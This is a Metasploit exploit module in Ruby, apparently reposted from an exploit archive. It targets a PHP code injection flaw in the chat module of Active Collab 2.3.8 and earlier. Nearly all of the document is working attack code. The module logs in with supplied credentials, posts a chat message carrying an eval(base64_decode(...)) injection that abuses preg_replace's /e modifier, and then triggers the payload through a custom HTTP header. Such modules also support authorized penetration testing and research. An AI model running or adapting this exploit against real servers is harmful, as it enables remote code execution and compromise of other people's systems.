Active Collab "chat module" <= 2.3.8 Remote PHP Code Injection Exploit

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::HttpClient
 
    def initialize(info={})
        super(update_info(info,
            'Name'           => 'Active Collab "chat module" <= 2.3.8 Remote PHP Code Injection Exploit',
            'Description'    => %q{
                This module exploits an arbitrary code injection vulnerability in the chat module
                that is part of Active Collab by abusing a preg_replace() using the /e modifier and
                its replacement string using double quotes. The vulnerable function can be found in
                activecollab/application/modules/chat/functions/html_to_text.php.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'mr_me <steventhomasseeley[at]gmail.com>',  # vuln discovery & msf module
                ],
            'References'     =>
                [
                    ['URL', 'http://www.activecollab.com/downloads/category/4/package/62/releases'],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'Keys'        => ['php'],
                    'Space'       => 4000,
                    'DisableNops' => true,
                },
            'Platform'       => ['php'],
            'Arch'           => ARCH_PHP,
            'Targets'        => [['Automatic',{}]],
            'DisclosureDate' => 'May 30 2012',
            'DefaultTarget'  => 0))
 
        register_options(
            [
                OptString.new('URI',[true, "The path to the ActiveCollab installation", "/"]),
                OptString.new('USER',[true, "The username (e-mail) to authenticate with"]),
                OptString.new('PASS',[true, "The password to authenticate with"])
            ],self.class)
    end
 
    def check
 
        login_path = "public/index.php?path_info=login&re_route=homepage"
        uri = datastore['URI']
        uri += (datastore['URI'][-1, 1] == "/") ? login_path : "/#{login_path}"
 
        cms = send_request_raw({'uri' => uri}, 25)
 
        uri = datastore['URI']
        uri += (datastore['URI'][-1, 1] == "/") ? 'public/assets/modules/chat/' : '/public/assets/modules/chat/'
 
        chat = send_request_raw({'uri' => uri}, 25)
 
        # cant detect the version here
        if (cms and cms.body =~ /powered by activeCollab/)
            # detect the chat module
            if (chat and chat.code == 200)
                return Exploit::CheckCode::Vulnerable
            end
        end
        return Exploit::CheckCode::Safe
    end
 
    def exploit
        user = datastore['USER']
        pass = datastore['PASS']
        p = Rex::Text.encode_base64(payload.encoded)
        header = rand_text_alpha_upper(3)
        login_uri = datastore['URI']
        login_uri += (datastore['URI'][-1, 1] == "/") ? 'public/index.php?path_info=login' : '/public/index.php?path_info=login'
 
        # login
        res = send_request_cgi({
            'method'    => 'POST',
            'uri'       => login_uri,
            'vars_post' =>
                {
                    'login[email]'      => user,
                    'login[password]'   => pass,
                    'submitted'         => "submitted",
                }
            }, 40)
 
        # response handling
        if res.code == 302
            if (res.headers['Set-Cookie'] =~ /ac_ActiveCollab_sid_eaM4h3LTIZ=(.*); expires=/)
                acsession = $1
            end
        elsif res.body =~ /Failed to log you in/
            print_error("Could not login to the target application, check your credentials")
        elsif res.code != 200 or res.code != 302
            print_error("Server returned a failed status code: (#{res.code})")
        end
 
        # injection
        iuri = datastore['URI']
        iuri += (datastore['URI'][-1, 1] == "/") ? 'index.php' : '/index.php'
        iuri << "?path_info=chat/add_message&async=1"
        phpkode = "{\${eval(base64_decode(\$_SERVER[HTTP_#{header}]))}}"
        injection = "<th>\");#{phpkode}</th>"
        cookies = "ac_ActiveCollab_sid_eaM4h3LTIZ=#{acsession}"
        res = send_request_cgi({
            'method'  => 'POST',
            'uri'     => iuri,
            'headers' =>
                {
                    'cookie'  => cookies
                },
            'vars_post' =>
                {
                    'submitted'                  => "submitted",
                    'message[message_text]'      => injection,
                    'message[chat_id]'           => "1",
                    'message[posted_to_user_id]' => "all"
                }
        }, 25)
 
        euri = datastore['URI']
        euri += (datastore['URI'][-1, 1] == "/") ? 'public/index.php' : '/public/index.php'
        euri << "?path_info=/chat/history/1"
 
        # execution
        res = send_request_cgi({
            'method'  => 'POST',
            'uri'     => euri,
            'headers' =>
                {
                    header    => p,
                    'cookie'  => cookies
                }
        })
    end
end



#  0day.today [2018-04-12]  #